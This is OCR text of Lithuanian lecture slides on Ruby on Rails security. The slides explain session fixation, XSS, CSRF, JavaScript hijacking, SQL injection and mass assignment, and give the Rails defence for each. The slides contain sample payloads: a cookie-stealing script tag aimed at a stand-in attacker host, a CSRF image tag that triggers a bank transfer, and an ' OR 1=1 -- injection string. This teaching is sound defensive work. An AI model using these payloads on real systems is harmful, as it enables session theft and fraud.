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esijos fiksavimas(angl. “session fixation”)

Tarptinklinis skriptavimas(angl. “cross site
scripting”)

Tarptinlinis uzklausy klastojimas(angl. “cross site
request forgery”)

JavaScript uzgrobimas(angl. “JavaScript hijacking”)
SQL injekcijos(angl. “SQL injection”)
Masinis priskyrimas(angl. “mass assignment”)



!

] |Svesties filtravimas

*"Metodas “h()’(nuoroda | “CGl.escapeHTML()"),
kuris pakeidia &, “, <, > | &amp;, &quot;, &lt, &gt

* "RedCloth” modulis “Textile” palaikymui, jei
reikalingas formatavimas

* “sanitize()” filtravimui “baltojo sgraso” principu



" “Ruby on Rails” naudoja slapukais paremtg
'Sesljy mechanizmg

“Ruby on Rails” 2.0 versija pagal nutyléjimg sesijos
duomenys saugomi slapuke:

— Formatas: “<sesijos_duomenys_base64 formatu>--
<sesijos_duomeny_hmac'as>"

— Pavyzdys:
BAh7BzoMY3NyZI9pZCIIMTZKMGIOOGI0ZDczYZzYZzZWJiINWIOYmYzNzFIYjhh
%250AMmMiICmZsYXNoSUMBJOFjdGIvbkNvbnRyb2xsZXI60kZsYXNoOjpGbGFzaEh

%250Ac2h7AAY6CkB1c2VkewA
%253D--046373fd33822159abbb124d57912ba532d90c6f



Salimi ir kitokie sesijy mechanizmai:
— Sesijos duomenys duomeny bazeéje,
— Sesijos duomenys failuose

— Sesijos duomenys iSskirstitoje objekty saugykloje ...

* Geros praktikos:
— Nesaugoti svarbios informacijos sesijoje
— Naudoti stipry slaptazod|
— Kas tam tikrg laikg pakeisti sesijos identifikatoriy



) Sesijos fiksavimas

likslas: priversti aukg autentifikuotis su atakuotojui
Zinomu sesijos identifikatoriumi

* Scenarijus:

— Atakuotojas apsilanko “http://pazeidziamas.It” ir gauna
validy sesijos identifikatoriy

— Atakuotojas pasitlo aukai apsilankyti
“http://pazeidziamas.|t/?SID=432343DFEE235”

— Auka autentifikuojasi su Siuo sesijos identifikatoriumi



) Sesijos fiksavimas

brendimas:

— Apskritai, pazeidziamumas yra mazai tikétinas, nes
identifikatoriai saugomi slapukuose ir karkasas nepriima
nevalidziy sesijos identifikatoriy.

— Naudoti metoda “reset_session” sesijos identifikatoriaus
pakeitimui, kai vartotojas prisijungia ir atsijungia nuo
sistemos.



. ) Slapuko vagysté tarptinklinio
 skriptavimopagalba

“Tikslas: suzinoti aukos sesijos identifikatoriy

* Scenarijus:

— |terpti kenksmingg kodg | HTML dokumentg, kurj
perzilrés auka, pvz:
<script>document.write('<img src="
'+ document.cookie +

">");</script>

— Narsyklé pati inicijuos uzklausa, kurioje bus slapukas, |
atakuotojo serverj

— Atakuotojas autentifikuosis pavogto aukos slapuko
pagalba.


http://atakuotojo.domenas.com/

. ) Slapuko vagysté tarptinklinio
' skriptavimo pagalba

Sprendimas, jei teksto formatavimas neleidZziamas:
— naudoti “h()” pagalbininkg (angl. “helper”)
— Jei per sunku prisiminti visur naudoti “h()” metoda, tai
naudoti jskiepius(angl. “plugin”) tam, pvz. “safeERB”
* Sprendimas, jei teksto formatavimas leidziamas:
— Naudoti “sanitize()” pagalbininkg

— Formatavimui naudoti tokias priemones, kaip “RedCloth”,
“Textile”




)Tarptinklinis uzklausy klastojimas

“Tiklas: vykdyti veiksmus sistemoje, pasinaudojus toje
sistemoje autentikuota auka

* Scenarijus:

— | dokumenta, kurj perzitrés autentikuota auka,
atakuotojas jterpia HTML paveikslélio zyme, pvz: <img
src="http://patikimasbankas.com/pavedimas?is saskaita=
petras&kiekis=1000000&i_saskaita=jonas”

— Auka autentikuojasi banko sistemoje

— Auka narsykle atidaro dokumentg, kuriame yra minéta
paveikslelio zyme ir narsyklé inicijuoja uzklausa, kuri
perveda pinigus


http://patikimasbankas.com/pavedimas

) Tarptinklinis uzklausy klastojimas

prendimas: naudoti “protect_from_forgery” filtra,
Kuris prie uzklausos prideda sugeneruota simboliy
seka. Atakuotojas nezinos sios simboliy sekos, o
sistema atmes uzklausg be teisingos simboliy

sekos.



) “JavaScript” ugrobimas
¥ Tikslas: pavogti svarbius aukos duomenis 1S

Dazeidziamo tinklapio

* Scenarijus:

— Atakuotojas suzino kokiu adresu aukos naudotojo
agentas gauna svarbig informacijg iS pazeidziamo
tinklapio(informacija turi bati pateikt “JavaScript”
“interpretuojamu” formatu, pvz. “JSON”)

— Atakuotojas | apgaulingg tinklapj jdeda <script> zyme,
kuri pakrauna tuos duomenis, pvz:
<script src=" "></script>

— Atakuotajas apgaulingame tinklapyje perdengia objekty
sukdrimo metodus(pvz. Array()) taip, kad jie siysty juose
esancig informacijg atakuotojui.

— Auka priverCiama uzeiti | apgaulingg tinklapj, kai blina
autentifikavusi pazeidziamame tinklapyje(http://bankas.lt)



http://bankas.lt/tranzakcijos.json

) “JavaScript” ugrobimas

*"Sprendimas:

— apgaubti duomenis komentary simboliais, pvz:
[*[[from:petras, to: jonas, amount: 500],[from: petras, to:
bronius, amount: -200]]*/

Tokiu atveju kodas nebus interpretuojamas “script”
Zymes pagalba, tad ir duomeny vagysté negalima.

— naudoti “protect_from_forgery” filtrg, kuris prie uzklausos
prideda sugeneruota simboliy seka.



) SQL injekcijos

Tikslas: jterpti | SQL uzklausa simbolius, kurie
pakeisty tg uzklausg ir leistu atskleisti duomenis ar
vykdyti neleistinus veiksmus

* Scenarijus:

— Atakuotojas | uzklausos parametrg vietoj |prastos
parametro reikSmeés jterpia SQL uzklausos dalj, pvz:
vietoj vartotojo vardo “petras” jveda “petras' OR 1=1 --"

— Sistema jvykdo uzklausg: “SELECT * FROM users
WHERE username = 'petras’' OR 1=1 --';", kuri grazina
visus vartotojus



) SQL injekcijos
|/

prendimas: jei uzklausg sudaro nepatikimi
duomenys, tai nejterpti Siy duomeny jy nefiltravus

* Nefiltruoti parametrai:
User.find(:first, :conditions => "username =
#{params[:username]}")

* Filtruoti parametrai:
User.find(:first, :conditions => ["username = 77,
params|.username]])
User.find(:all, :conditions => ["category IN (?),
[2,3,4]])



) Masinio priskyrimo iSnaudojimas

__ slas: pakeisti duomeny bazeés jrasus, kuriy
atakuotOJas negali pakeisti |prastai naudodamasis
sistema

* Scenarijus:

— Sistemoje naudojama paprasta roliy sistema, t.y.
Kiekvienas vartotojas turi laukg “admin”, kurio reikSme
yra “taip”, “ne”. Vartotojui registruojantis jis negali
pasirinkti sio lauko reiksmeés, o DB lauko reiksmé pagal
nutyléjimg yra “ne

— Atakuotas | vartotojo suktrimo uzklausg jterpia
parametrg “admin” su reikSme “taip”

— Sistemoje vykdomas sakinys:
User.create(params[‘user’]), kuris sukuria vartotojg su
“admin” reikSme “taip”



_ ) Masinio priskyrimo i$naudojimas

Sprendimas:

Naudoti “attr _protected” ir “attr_accessible”

metodus modeliuose:

Class User < ActiveRecord::Base
attr_protected :admin

end

Class User < ActiveRecord::Base
attr _accessible :email, :fullname
end



Klausimai




